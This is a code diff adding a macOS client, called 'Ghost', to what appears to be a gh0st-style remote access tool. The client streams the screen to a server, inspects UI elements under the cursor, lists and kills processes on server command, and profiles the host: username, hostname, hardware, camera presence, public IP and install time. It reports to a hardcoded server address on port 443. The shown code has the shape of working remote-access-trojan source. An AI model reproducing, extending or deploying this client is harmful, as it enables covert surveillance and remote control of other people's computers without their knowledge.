// - FFmpeg decoder auto-detects I-frames vs P-frames
|
||||
uint32_t headerSize = 1 + 1 + 2 * sizeof(int32_t) + 1;
|
||||
std::vector<uint8_t> packet(headerSize + encodedSize);
|
||||
|
||||
packet[0] = TOKEN_NEXTSCREEN;
|
||||
packet[1] = ALGORITHM_H264;
|
||||
|
||||
// Cursor position
|
||||
int32_t cursorX, cursorY;
|
||||
getCursorPosition(cursorX, cursorY);
|
||||
memcpy(&packet[2], &cursorX, sizeof(int32_t));
|
||||
memcpy(&packet[2 + sizeof(int32_t)], &cursorY, sizeof(int32_t));
|
||||
|
||||
// Cursor type
|
||||
packet[2 + 2 * sizeof(int32_t)] = getCursorTypeIndex();
|
||||
|
||||
// H264 data
|
||||
memcpy(&packet[headerSize], encodedData, encodedSize);
|
||||
|
||||
m_client->Send2Server((char*)packet.data(), packet.size());
|
||||
}
|
||||
|
||||
uint32_t ScreenHandler::compareBitmap(const uint8_t* curr, const uint8_t* prev,
|
||||
uint8_t* outBuf, uint32_t totalBytes, uint8_t algo)
|
||||
{
|
||||
const uint32_t bytesPerPixel = 4;
|
||||
const uint32_t totalPixels = totalBytes / bytesPerPixel;
|
||||
const uint32_t gapThreshold = 8;
|
||||
const uint32_t ratio = (algo == ALGORITHM_GRAY || algo == ALGORITHM_RGB565) ? 4 : 1;
|
||||
|
||||
uint32_t outOffset = 0;
|
||||
uint32_t i = 0;
|
||||
|
||||
while (i < totalPixels) {
|
||||
// Skip identical pixels
|
||||
while (i < totalPixels &&
|
||||
*(uint32_t*)(curr + i * 4) == *(uint32_t*)(prev + i * 4)) {
|
||||
i++;
|
||||
}
|
||||
if (i >= totalPixels) break;
|
||||
|
||||
uint32_t start = i;
|
||||
uint32_t lastDiff = i;
|
||||
|
||||
while (i < totalPixels) {
|
||||
if (*(uint32_t*)(curr + i * 4) != *(uint32_t*)(prev + i * 4)) {
|
||||
lastDiff = i;
|
||||
} else if (i - lastDiff > gapThreshold) {
|
||||
break;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
uint32_t end = lastDiff + 1;
|
||||
uint32_t count = end - start;
|
||||
uint32_t byteOffset = start * bytesPerPixel;
|
||||
uint32_t byteCount = count * bytesPerPixel;
|
||||
|
||||
// Write byteOffset
|
||||
memcpy(outBuf + outOffset, &byteOffset, sizeof(uint32_t));
|
||||
outOffset += sizeof(uint32_t);
|
||||
|
||||
// Write length
|
||||
uint32_t lengthField = byteCount / ratio;
|
||||
memcpy(outBuf + outOffset, &lengthField, sizeof(uint32_t));
|
||||
outOffset += sizeof(uint32_t);
|
||||
|
||||
// Write pixel data
|
||||
const uint8_t* srcData = curr + byteOffset;
|
||||
if (algo == ALGORITHM_RGB565) {
|
||||
convertBGRAtoRGB565(srcData, (uint16_t*)(outBuf + outOffset), count);
|
||||
outOffset += count * 2;
|
||||
} else if (algo == ALGORITHM_GRAY) {
|
||||
convertBGRAtoGray(srcData, outBuf + outOffset, count);
|
||||
outOffset += count;
|
||||
} else {
|
||||
memcpy(outBuf + outOffset, srcData, byteCount);
|
||||
outOffset += byteCount;
|
||||
}
|
||||
}
|
||||
|
||||
return outOffset;
|
||||
}
|
||||
|
||||
void ScreenHandler::convertBGRAtoGray(const uint8_t* src, uint8_t* dst, uint32_t pixelCount)
|
||||
{
|
||||
for (uint32_t i = 0; i < pixelCount; i++) {
|
||||
uint8_t b = src[i * 4 + 0];
|
||||
uint8_t g = src[i * 4 + 1];
|
||||
uint8_t r = src[i * 4 + 2];
|
||||
dst[i] = (uint8_t)((306 * r + 601 * g + 117 * b) >> 10);
|
||||
}
|
||||
}
|
||||
|
||||
void ScreenHandler::convertBGRAtoRGB565(const uint8_t* src, uint16_t* dst, uint32_t pixelCount)
|
||||
{
|
||||
for (uint32_t i = 0; i < pixelCount; i++) {
|
||||
uint8_t b = src[i * 4 + 0];
|
||||
uint8_t g = src[i * 4 + 1];
|
||||
uint8_t r = src[i * 4 + 2];
|
||||
uint16_t r5 = (r >> 3) & 0x1F;
|
||||
uint16_t g6 = (g >> 2) & 0x3F;
|
||||
uint16_t b5 = (b >> 3) & 0x1F;
|
||||
dst[i] = (r5 << 11) | (g6 << 5) | b5;
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t ScreenHandler::getTickMs()
|
||||
{
|
||||
static mach_timebase_info_data_t timebase = {0, 0};
|
||||
if (timebase.denom == 0) {
|
||||
mach_timebase_info(&timebase);
|
||||
}
|
||||
uint64_t now = mach_absolute_time();
|
||||
return (now * timebase.numer / timebase.denom) / 1000000;
|
||||
}
|
||||
|
||||
// Cached logical cursor position (shared between getCursorPosition and getCursorTypeIndex)
|
||||
static CGPoint s_cachedLogicalPos = {0, 0};
|
||||
|
||||
void ScreenHandler::getCursorPosition(int32_t& x, int32_t& y)
|
||||
{
|
||||
// Get cursor position in logical (point) coordinates
|
||||
CGEventRef event = CGEventCreate(nullptr);
|
||||
s_cachedLogicalPos = CGEventGetLocation(event);
|
||||
CFRelease(event);
|
||||
|
||||
// Convert to physical pixel coordinates (for Retina displays)
|
||||
x = (int32_t)(s_cachedLogicalPos.x * m_scaleFactor);
|
||||
y = (int32_t)(s_cachedLogicalPos.y * m_scaleFactor);
|
||||
|
||||
// Clamp to screen bounds
|
||||
if (x < 0) x = 0;
|
||||
if (y < 0) y = 0;
|
||||
if (x >= m_width) x = m_width - 1;
|
||||
if (y >= m_height) y = m_height - 1;
|
||||
}
|
||||
|
||||
uint8_t ScreenHandler::getCursorTypeIndex()
|
||||
{
|
||||
// Windows cursor type indices (from CursorInfo.h):
|
||||
// 0: IDC_APPSTARTING, 1: IDC_ARROW, 2: IDC_CROSS, 3: IDC_HAND,
|
||||
// 4: IDC_HELP, 5: IDC_IBEAM, 6: IDC_ICON, 7: IDC_NO,
|
||||
// 8: IDC_SIZE, 9: IDC_SIZEALL, 10: IDC_SIZENESW, 11: IDC_SIZENS,
|
||||
// 12: IDC_SIZENWSE, 13: IDC_SIZEWE, 14: IDC_UPARROW, 15: IDC_WAIT
|
||||
|
||||
// NSCursor.currentSystemCursor doesn't work for background daemons.
|
||||
// Use Accessibility API to infer cursor type from the UI element under cursor.
|
||||
// Throttle to avoid performance impact (check every 100ms)
|
||||
|
||||
static uint8_t cachedIndex = 1;
|
||||
static uint64_t lastCheckTime = 0;
|
||||
static CGPoint lastPos = {-1, -1};
|
||||
|
||||
// Reuse cursor position from getCursorPosition (called before this)
|
||||
CGPoint pos = s_cachedLogicalPos;
|
||||
|
||||
// Throttle: only check if cursor moved significantly or 100ms elapsed
|
||||
uint64_t now = getTickMs();
|
||||
bool posChanged = (fabs(pos.x - lastPos.x) > 5 || fabs(pos.y - lastPos.y) > 5);
|
||||
if (!posChanged && (now - lastCheckTime) < 100) {
|
||||
return cachedIndex;
|
||||
}
|
||||
lastCheckTime = now;
|
||||
lastPos = pos;
|
||||
|
||||
uint8_t index = 1; // Default to arrow
|
||||
|
||||
// Get the UI element at cursor position using Accessibility API
|
||||
AXUIElementRef systemWide = AXUIElementCreateSystemWide();
|
||||
AXUIElementRef element = nullptr;
|
||||
|
||||
AXError err = AXUIElementCopyElementAtPosition(systemWide, (float)pos.x, (float)pos.y, &element);
|
||||
CFRelease(systemWide);
|
||||
|
||||
if (err == kAXErrorSuccess && element) {
|
||||
// Get the role of the element
|
||||
CFTypeRef roleRef = nullptr;
|
||||
if (AXUIElementCopyAttributeValue(element, kAXRoleAttribute, &roleRef) == kAXErrorSuccess && roleRef) {
|
||||
NSString* role = (__bridge NSString*)roleRef;
|
||||
|
||||
// Map UI element roles to cursor types
|
||||
if ([role isEqualToString:NSAccessibilityTextFieldRole] ||
|
||||
[role isEqualToString:NSAccessibilityTextAreaRole] ||
|
||||
[role isEqualToString:NSAccessibilityStaticTextRole] ||
|
||||
[role isEqualToString:@"AXWebArea"]) {
|
||||
// Check if text is editable
|
||||
CFTypeRef editableRef = nullptr;
|
||||
if (AXUIElementCopyAttributeValue(element, CFSTR("AXEditable"), &editableRef) == kAXErrorSuccess) {
|
||||
if (editableRef && CFBooleanGetValue((CFBooleanRef)editableRef)) {
|
||||
index = 5; // IDC_IBEAM for editable text
|
||||
}
|
||||
if (editableRef) CFRelease(editableRef);
|
||||
} else if ([role isEqualToString:NSAccessibilityTextFieldRole] ||
|
||||
[role isEqualToString:NSAccessibilityTextAreaRole]) {
|
||||
index = 5; // IDC_IBEAM for text input fields
|
||||
}
|
||||
} else if ([role isEqualToString:NSAccessibilityLinkRole] ||
|
||||
[role isEqualToString:@"AXLink"]) {
|
||||
index = 3; // IDC_HAND for links
|
||||
} else if ([role isEqualToString:NSAccessibilityButtonRole]) {
|
||||
index = 3; // IDC_HAND for buttons (clickable)
|
||||
} else if ([role isEqualToString:NSAccessibilitySplitterRole] ||
|
||||
[role isEqualToString:@"AXSplitGroup"]) {
|
||||
// Check orientation for resize cursor
|
||||
CFTypeRef orientRef = nullptr;
|
||||
if (AXUIElementCopyAttributeValue(element, CFSTR("AXOrientation"), &orientRef) == kAXErrorSuccess && orientRef) {
|
||||
NSString* orient = (__bridge NSString*)orientRef;
|
||||
if ([orient isEqualToString:@"AXHorizontalOrientation"]) {
|
||||
index = 11; // IDC_SIZENS (vertical resize)
|
||||
} else {
|
||||
index = 13; // IDC_SIZEWE (horizontal resize)
|
||||
}
|
||||
CFRelease(orientRef);
|
||||
} else {
|
||||
index = 13; // IDC_SIZEWE default for splitters
|
||||
}
|
||||
} else if ([role isEqualToString:NSAccessibilityGrowAreaRole]) {
|
||||
index = 12; // IDC_SIZENWSE for resize corners
|
||||
}
|
||||
|
||||
CFRelease(roleRef);
|
||||
}
|
||||
CFRelease(element);
|
||||
}
|
||||
|
||||
// Cache the result
|
||||
cachedIndex = index;
|
||||
return index;
|
||||
}
|
||||
|
||||
void ScreenHandler::captureLoop()
|
||||
{
|
||||
NSLog(@"ScreenHandler CaptureLoop started (%dx%d)", m_width, m_height);
|
||||
|
||||
uint8_t currentAlgo = m_algorithm.load();
|
||||
|
||||
// Always send raw first frame (TOKEN_FIRSTSCREEN) to initialize server display
|
||||
// This matches Windows client behavior: first frame is always raw bitmap,
|
||||
// even in H264 mode. Server needs TOKEN_FIRSTSCREEN to set m_bIsFirst = FALSE.
|
||||
sendFirstScreen();
|
||||
|
||||
// Small delay to ensure first frame is processed before H264 stream starts
|
||||
usleep(50000); // 50ms, same as Windows client
|
||||
|
||||
while (m_running) {
|
||||
uint64_t start = getTickMs();
|
||||
|
||||
uint8_t algo = m_algorithm.load();
|
||||
|
||||
// Check if algorithm changed
|
||||
if (algo != currentAlgo) {
|
||||
NSLog(@"Algorithm changed: %d -> %d", currentAlgo, algo);
|
||||
currentAlgo = algo;
|
||||
|
||||
// If switching to/from H264, reset encoder
|
||||
if (algo == ALGORITHM_H264) {
|
||||
// Starting H264 - will be initialized in sendH264Frame
|
||||
sendH264Frame(true); // First H264 frame is keyframe
|
||||
} else if (m_h264Encoder) {
|
||||
// Switching away from H264 - close encoder
|
||||
m_h264Encoder->close();
|
||||
m_h264Encoder.reset();
|
||||
sendFirstScreen(); // Send full frame for DIFF modes
|
||||
}
|
||||
} else {
|
||||
// Normal frame
|
||||
if (algo == ALGORITHM_H264) {
|
||||
sendH264Frame(false);
|
||||
} else {
|
||||
sendDiffFrame();
|
||||
}
|
||||
}
|
||||
|
||||
int fps = m_maxFPS.load();
|
||||
if (fps <= 0) fps = 10;
|
||||
int sleepMs = 1000 / fps;
|
||||
|
||||
int elapsed = (int)(getTickMs() - start);
|
||||
int wait = sleepMs - elapsed;
|
||||
if (wait > 0) {
|
||||
usleep(wait * 1000);
|
||||
}
|
||||
}
|
||||
|
||||
NSLog(@"ScreenHandler CaptureLoop stopped");
|
||||
}
|
||||
40
macos/SystemManager.h
Normal file
40
macos/SystemManager.h
Normal file
@@ -0,0 +1,40 @@
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
|
||||
// Forward declaration
|
||||
class IOCPClient;
|
||||
|
||||
class SystemManager {
|
||||
public:
|
||||
SystemManager(IOCPClient* client, uint64_t clientID);
|
||||
~SystemManager();
|
||||
|
||||
// Handle commands from server
|
||||
void onReceive(const uint8_t* data, size_t size);
|
||||
|
||||
private:
|
||||
// Send process list to server
|
||||
void sendProcessList();
|
||||
|
||||
// Kill processes by PID
|
||||
void killProcesses(const uint8_t* data, size_t size);
|
||||
|
||||
// Send window list (limited on macOS without accessibility)
|
||||
void sendWindowsList();
|
||||
|
||||
// Get process name by PID
|
||||
static std::string getProcessName(pid_t pid);
|
||||
|
||||
// Get process executable path by PID
|
||||
static std::string getProcessPath(pid_t pid);
|
||||
|
||||
// Get all running PIDs
|
||||
static std::vector<pid_t> getAllPids();
|
||||
|
||||
private:
|
||||
IOCPClient* m_client;
|
||||
uint64_t m_clientID;
|
||||
};
|
||||
201
macos/SystemManager.mm
Normal file
201
macos/SystemManager.mm
Normal file
@@ -0,0 +1,201 @@
|
||||
#import "SystemManager.h"
|
||||
#import "../client/IOCPClient.h"
|
||||
#import <Cocoa/Cocoa.h>
|
||||
#import <sys/sysctl.h>
|
||||
#import <libproc.h>
|
||||
#import <signal.h>
|
||||
#import <unistd.h>
|
||||
|
||||
SystemManager::SystemManager(IOCPClient* client, uint64_t clientID)
|
||||
: m_client(client)
|
||||
, m_clientID(clientID)
|
||||
{
|
||||
// Send initial process list on connection
|
||||
sendProcessList();
|
||||
}
|
||||
|
||||
SystemManager::~SystemManager()
|
||||
{
|
||||
}
|
||||
|
||||
void SystemManager::onReceive(const uint8_t* data, size_t size)
|
||||
{
|
||||
if (!data || size == 0) return;
|
||||
|
||||
switch (data[0]) {
|
||||
case COMMAND_PSLIST:
|
||||
sendProcessList();
|
||||
break;
|
||||
|
||||
case COMMAND_KILLPROCESS:
|
||||
if (size > 1) {
|
||||
killProcesses(data + 1, size - 1);
|
||||
// Refresh list after kill
|
||||
usleep(100000); // 100ms wait
|
||||
sendProcessList();
|
||||
}
|
||||
break;
|
||||
|
||||
case COMMAND_WSLIST:
|
||||
sendWindowsList();
|
||||
break;
|
||||
|
||||
default:
|
||||
NSLog(@"SystemManager: Unknown command: %d", (int)data[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
std::vector<pid_t> SystemManager::getAllPids()
|
||||
{
|
||||
std::vector<pid_t> pids;
|
||||
|
||||
// Get number of processes
|
||||
int count = proc_listpids(PROC_ALL_PIDS, 0, NULL, 0);
|
||||
if (count <= 0) return pids;
|
||||
|
||||
// Allocate buffer for PIDs
|
||||
std::vector<pid_t> buffer(count * 2); // Extra space for new processes
|
||||
count = proc_listpids(PROC_ALL_PIDS, 0, buffer.data(), (int)(buffer.size() * sizeof(pid_t)));
|
||||
if (count <= 0) return pids;
|
||||
|
||||
int numPids = count / sizeof(pid_t);
|
||||
for (int i = 0; i < numPids; i++) {
|
||||
if (buffer[i] > 0) {
|
||||
pids.push_back(buffer[i]);
|
||||
}
|
||||
}
|
||||
|
||||
return pids;
|
||||
}
|
||||
|
||||
std::string SystemManager::getProcessName(pid_t pid)
|
||||
{
|
||||
char name[PROC_PIDPATHINFO_MAXSIZE];
|
||||
memset(name, 0, sizeof(name));
|
||||
|
||||
struct proc_bsdinfo info;
|
||||
if (proc_pidinfo(pid, PROC_PIDTBSDINFO, 0, &info, sizeof(info)) > 0) {
|
||||
return std::string(info.pbi_name);
|
||||
}
|
||||
|
||||
return "";
|
||||
}
|
||||
|
||||
std::string SystemManager::getProcessPath(pid_t pid)
|
||||
{
|
||||
char path[PROC_PIDPATHINFO_MAXSIZE];
|
||||
memset(path, 0, sizeof(path));
|
||||
|
||||
if (proc_pidpath(pid, path, sizeof(path)) > 0) {
|
||||
return std::string(path);
|
||||
}
|
||||
|
||||
return "";
|
||||
}
|
||||
|
||||
void SystemManager::sendProcessList()
|
||||
{
|
||||
if (!m_client) return;
|
||||
|
||||
std::vector<uint8_t> buf;
|
||||
buf.reserve(64 * 1024);
|
||||
|
||||
// Token header
|
||||
buf.push_back(TOKEN_PSLIST);
|
||||
|
||||
// Architecture string
|
||||
#if defined(__arm64__) || defined(__aarch64__)
|
||||
const char* arch = "arm64";
|
||||
#else
|
||||
const char* arch = "x64";
|
||||
#endif
|
||||
|
||||
std::vector<pid_t> pids = getAllPids();
|
||||
|
||||
for (pid_t pid : pids) {
|
||||
if (pid <= 0) continue;
|
||||
|
||||
std::string name = getProcessName(pid);
|
||||
if (name.empty()) continue;
|
||||
|
||||
std::string path = getProcessPath(pid);
|
||||
if (path.empty()) {
|
||||
path = "[" + name + "]";
|
||||
}
|
||||
|
||||
// Format: "processname:arch"
|
||||
std::string exeFile = name + ":" + arch;
|
||||
|
||||
// Write PID (4 bytes, DWORD)
|
||||
uint32_t dwPid = (uint32_t)pid;
|
||||
const uint8_t* p = (const uint8_t*)&dwPid;
|
||||
buf.insert(buf.end(), p, p + sizeof(uint32_t));
|
||||
|
||||
// Write exeFile (null-terminated)
|
||||
buf.insert(buf.end(), exeFile.begin(), exeFile.end());
|
||||
buf.push_back(0);
|
||||
|
||||
// Write fullPath (null-terminated)
|
||||
buf.insert(buf.end(), path.begin(), path.end());
|
||||
buf.push_back(0);
|
||||
}
|
||||
|
||||
m_client->Send2Server((char*)buf.data(), buf.size());
|
||||
NSLog(@"SystemManager SendProcessList: %zu bytes, %zu processes",
|
||||
buf.size(), pids.size());
|
||||
}
|
||||
|
||||
void SystemManager::killProcesses(const uint8_t* data, size_t size)
|
||||
{
|
||||
// Each PID is 4 bytes (DWORD)
|
||||
for (size_t i = 0; i + sizeof(uint32_t) <= size; i += sizeof(uint32_t)) {
|
||||
uint32_t dwPid = *(uint32_t*)(data + i);
|
||||
pid_t pid = (pid_t)dwPid;
|
||||
|
||||
// Don't allow killing kernel/launchd
|
||||
if (pid <= 1) continue;
|
||||
|
||||
// Don't allow killing ourselves
|
||||
if (pid == getpid()) continue;
|
||||
|
||||
int ret = kill(pid, SIGKILL);
|
||||
NSLog(@"SystemManager kill(%d, SIGKILL) = %d", (int)pid, ret);
|
||||
}
|
||||
}
|
||||
|
||||
void SystemManager::sendWindowsList()
|
||||
{
|
||||
if (!m_client) return;
|
||||
|
||||
std::vector<uint8_t> buf;
|
||||
buf.push_back(TOKEN_WSLIST);
|
||||
|
||||
// Get list of running applications
|
||||
NSArray<NSRunningApplication*>* apps = [[NSWorkspace sharedWorkspace] runningApplications];
|
||||
|
||||
for (NSRunningApplication* app in apps) {
|
||||
// Only include apps with windows
|
||||
if (app.activationPolicy != NSApplicationActivationPolicyRegular) {
|
||||
continue;
|
||||
}
|
||||
|
||||
NSString* name = app.localizedName;
|
||||
if (!name) continue;
|
||||
|
||||
pid_t pid = app.processIdentifier;
|
||||
|
||||
// Write window handle (use PID as pseudo-handle)
|
||||
uint64_t hwnd = (uint64_t)pid;
|
||||
const uint8_t* p = (const uint8_t*)&hwnd;
|
||||
buf.insert(buf.end(), p, p + sizeof(uint64_t));
|
||||
|
||||
// Write window title (null-terminated)
|
||||
const char* utf8Name = [name UTF8String];
|
||||
buf.insert(buf.end(), utf8Name, utf8Name + strlen(utf8Name));
|
||||
buf.push_back(0);
|
||||
}
|
||||
|
||||
m_client->Send2Server((char*)buf.data(), buf.size());
|
||||
NSLog(@"SystemManager SendWindowsList: %zu bytes", buf.size());
|
||||
}
|
||||
47
macos/build.sh
Normal file
47
macos/build.sh
Normal file
@@ -0,0 +1,47 @@
|
||||
#!/bin/bash
|
||||
|
||||
# macOS Ghost Client Build Script
|
||||
# Usage: ./build.sh
|
||||
|
||||
set -e
|
||||
|
||||
echo "=== macOS Ghost Client Build ==="
|
||||
echo ""
|
||||
|
||||
# Check for Xcode Command Line Tools
|
||||
if ! command -v clang &> /dev/null; then
|
||||
echo "Error: Xcode Command Line Tools not installed"
|
||||
echo "Run: xcode-select --install"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Check for CMake
|
||||
if ! command -v cmake &> /dev/null; then
|
||||
echo "Error: CMake not installed"
|
||||
echo "Install with: brew install cmake"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Create build directory
|
||||
mkdir -p build
|
||||
cd build
|
||||
|
||||
# Configure
|
||||
echo "Configuring..."
|
||||
cmake .. -DCMAKE_BUILD_TYPE=Release
|
||||
|
||||
# Build
|
||||
echo ""
|
||||
echo "Building..."
|
||||
cmake --build . --config Release -j$(sysctl -n hw.ncpu)
|
||||
|
||||
# Done
|
||||
echo ""
|
||||
echo "=== Build Complete ==="
|
||||
echo "Executable: build/bin/ghost"
|
||||
echo ""
|
||||
echo "To run:"
|
||||
echo " ./bin/ghost [server_ip] [port]"
|
||||
echo ""
|
||||
echo "Example:"
|
||||
echo " ./bin/ghost 192.168.0.55 6543"
|
||||
BIN
macos/lib/libzstd.a
Normal file
BIN
macos/lib/libzstd.a
Normal file
Binary file not shown.
555
macos/main.mm
Normal file
555
macos/main.mm
Normal file
@@ -0,0 +1,555 @@
|
||||
#import <Cocoa/Cocoa.h>
|
||||
#import <sys/sysctl.h>
|
||||
#import <mach/mach.h>
|
||||
#import <mach-o/dyld.h>
|
||||
#import <pwd.h>
|
||||
#import <signal.h>
|
||||
#import <unistd.h>
|
||||
#import <IOKit/IOKitLib.h>
|
||||
#import <fstream>
|
||||
#import <thread>
|
||||
#import <atomic>
|
||||
#import <memory>
|
||||
#import <string>
|
||||
|
||||
#import "../client/IOCPClient.h"
|
||||
#define XXH_INLINE_ALL
|
||||
#include "../common/xxhash.h"
|
||||
#import "Permissions.h"
|
||||
#import "ScreenHandler.h"
|
||||
#import "InputHandler.h"
|
||||
#import "SystemManager.h"
|
||||
|
||||
// Global state
|
||||
static std::atomic<bool> g_running(true);
|
||||
|
||||
// Client ID (calculated from system info, used by ScreenHandler)
|
||||
uint64_t g_myClientID = 0;
|
||||
|
||||
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
|
||||
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
|
||||
|
||||
State g_bExit = S_CLIENT_NORMAL;
|
||||
|
||||
// ============== System Information Functions ==============
|
||||
|
||||
// Get macOS version string (e.g., "macOS 14.0 Sonoma")
|
||||
static std::string getMacOSVersion()
|
||||
{
|
||||
NSOperatingSystemVersion version = [[NSProcessInfo processInfo] operatingSystemVersion];
|
||||
NSString* versionString = [NSString stringWithFormat:@"macOS %ld.%ld.%ld",
|
||||
(long)version.majorVersion,
|
||||
(long)version.minorVersion,
|
||||
(long)version.patchVersion];
|
||||
return std::string([versionString UTF8String]);
|
||||
}
|
||||
|
||||
// Get hostname
|
||||
static std::string getHostname()
|
||||
{
|
||||
char hostname[256] = {};
|
||||
gethostname(hostname, sizeof(hostname));
|
||||
return std::string(hostname);
|
||||
}
|
||||
|
||||
// Get CPU model and frequency
|
||||
static std::string getCPUInfo()
|
||||
{
|
||||
char buf[256] = {};
|
||||
size_t size = sizeof(buf);
|
||||
if (sysctlbyname("machdep.cpu.brand_string", buf, &size, NULL, 0) == 0) {
|
||||
return std::string(buf);
|
||||
}
|
||||
return "Unknown CPU";
|
||||
}
|
||||
|
||||
// Get CPU frequency in MHz
|
||||
static int getCPUFrequencyMHz()
|
||||
{
|
||||
uint64_t freq = 0;
|
||||
size_t size = sizeof(freq);
|
||||
if (sysctlbyname("hw.cpufrequency_max", &freq, &size, NULL, 0) == 0) {
|
||||
return (int)(freq / 1000000);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Get number of CPU cores
|
||||
static int getCPUCores()
|
||||
{
|
||||
int cores = 0;
|
||||
size_t size = sizeof(cores);
|
||||
if (sysctlbyname("hw.ncpu", &cores, &size, NULL, 0) == 0) {
|
||||
return cores;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Get total physical memory in GB
|
||||
static double getMemoryGB()
|
||||
{
|
||||
int64_t memSize = 0;
|
||||
size_t size = sizeof(memSize);
|
||||
if (sysctlbyname("hw.memsize", &memSize, &size, NULL, 0) == 0) {
|
||||
return (double)memSize / (1024.0 * 1024.0 * 1024.0);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Get current username
|
||||
static std::string getUsername()
|
||||
{
|
||||
struct passwd* pw = getpwuid(getuid());
|
||||
if (pw && pw->pw_name) {
|
||||
return std::string(pw->pw_name);
|
||||
}
|
||||
const char* user = getenv("USER");
|
||||
return user ? std::string(user) : "unknown";
|
||||
}
|
||||
|
||||
// Get screen resolution
|
||||
static std::string getScreenResolution()
|
||||
{
|
||||
NSScreen* mainScreen = [NSScreen mainScreen];
|
||||
if (mainScreen) {
|
||||
NSRect frame = [mainScreen frame];
|
||||
return [NSString stringWithFormat:@"1:%dx%d",
|
||||
(int)frame.size.width, (int)frame.size.height].UTF8String;
|
||||
}
|
||||
return "0:0x0";
|
||||
}
|
||||
|
||||
// Get executable path
|
||||
static std::string getExecutablePath()
|
||||
{
|
||||
char path[PATH_MAX];
|
||||
uint32_t size = sizeof(path);
|
||||
if (_NSGetExecutablePath(path, &size) == 0) {
|
||||
return std::string(path);
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
// Get current time string (Beijing time, UTC+8)
|
||||
static std::string getTimeString()
|
||||
{
|
||||
NSDateFormatter* formatter = [[NSDateFormatter alloc] init];
|
||||
[formatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"];
|
||||
[formatter setTimeZone:[NSTimeZone timeZoneForSecondsFromGMT:8*3600]];
|
||||
NSString* dateString = [formatter stringFromDate:[NSDate date]];
|
||||
return std::string([dateString UTF8String]);
|
||||
}
|
||||
|
||||
// Get active application name
|
||||
static std::string getActiveApp()
|
||||
{
|
||||
NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication];
|
||||
if (app) {
|
||||
NSString* name = [app localizedName];
|
||||
if (name) {
|
||||
return std::string([name UTF8String]);
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
// ============== Check if camera exists ==============
|
||||
|
||||
static bool hasCameraDevice()
|
||||
{
|
||||
// Most MacBooks have built-in FaceTime camera
|
||||
// Check model identifier to determine if it's a MacBook
|
||||
char model[256] = {};
|
||||
size_t size = sizeof(model);
|
||||
if (sysctlbyname("hw.model", model, &size, NULL, 0) == 0) {
|
||||
std::string modelStr(model);
|
||||
// MacBooks (Air/Pro) always have cameras
|
||||
if (modelStr.find("MacBook") != std::string::npos) {
|
||||
return true;
|
||||
}
|
||||
// iMac also has camera
|
||||
if (modelStr.find("iMac") != std::string::npos) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
// Mac Mini and Mac Pro typically don't have built-in cameras
|
||||
return false;
|
||||
}
|
||||
|
||||
// ============== Public IP ==============
|
||||
|
||||
// Execute command and return output
|
||||
static std::string execCmd(const std::string& cmd)
|
||||
{
|
||||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
|
||||
if (!pipe) return "";
|
||||
char buf[4096];
|
||||
std::string result;
|
||||
while (fgets(buf, sizeof(buf), pipe.get())) {
|
||||
result += buf;
|
||||
}
|
||||
// Trim trailing whitespace
|
||||
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
|
||||
result.pop_back();
|
||||
return result;
|
||||
}
|
||||
|
||||
// HTTP GET using curl (macOS has curl built-in)
|
||||
static std::string httpGet(const std::string& url, int timeoutSec = 5)
|
||||
{
|
||||
std::string t = std::to_string(timeoutSec);
|
||||
return execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
|
||||
}
|
||||
|
||||
// Get public IP (try multiple sources)
|
||||
static std::string getPublicIP()
|
||||
{
|
||||
static const char* urls[] = {
|
||||
"https://checkip.amazonaws.com",
|
||||
"https://api.ipify.org",
|
||||
"https://ipinfo.io/ip",
|
||||
"https://icanhazip.com",
|
||||
"https://ifconfig.me/ip",
|
||||
};
|
||||
for (auto& url : urls) {
|
||||
std::string ip = httpGet(url, 3);
|
||||
// Validate: non-empty, contains dot, reasonable length
|
||||
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
|
||||
NSLog(@"getPublicIP: %s (from %s)", ip.c_str(), url);
|
||||
return ip;
|
||||
}
|
||||
}
|
||||
NSLog(@"getPublicIP: all sources failed");
|
||||
return "";
|
||||
}
|
||||
|
||||
// ============== Install Time (persistent storage) ==============
|
||||
|
||||
static std::string getInstallTime()
|
||||
{
|
||||
@autoreleasepool {
|
||||
NSUserDefaults* defaults = [NSUserDefaults standardUserDefaults];
|
||||
NSString* installTime = [defaults stringForKey:@"ghost_install_time"];
|
||||
|
||||
if (installTime == nil || [installTime length] == 0) {
|
||||
// First run - record current time as install time
|
||||
std::string currentTime = getTimeString();
|
||||
installTime = [NSString stringWithUTF8String:currentTime.c_str()];
|
||||
[defaults setObject:installTime forKey:@"ghost_install_time"];
|
||||
[defaults synchronize];
|
||||
NSLog(@"First run - recorded install time: %@", installTime);
|
||||
}
|
||||
|
||||
return std::string([installTime UTF8String]);
|
||||
}
|
||||
}
|
||||
|
||||
// ============== Fill LOGIN_INFOR ==============
|
||||
|
||||
static void fillLoginInfo(LOGIN_INFOR& info)
|
||||
{
|
||||
// Token is set in constructor
|
||||
info.bToken = TOKEN_LOGIN;
|
||||
|
||||
// OS Version
|
||||
std::string osVer = getMacOSVersion();
|
||||
strncpy(info.OsVerInfoEx, osVer.c_str(), sizeof(info.OsVerInfoEx) - 1);
|
||||
|
||||
// CPU MHz
|
||||
info.dwCPUMHz = getCPUFrequencyMHz();
|
||||
|
||||
// PC Name (hostname)
|
||||
std::string hostname = getHostname();
|
||||
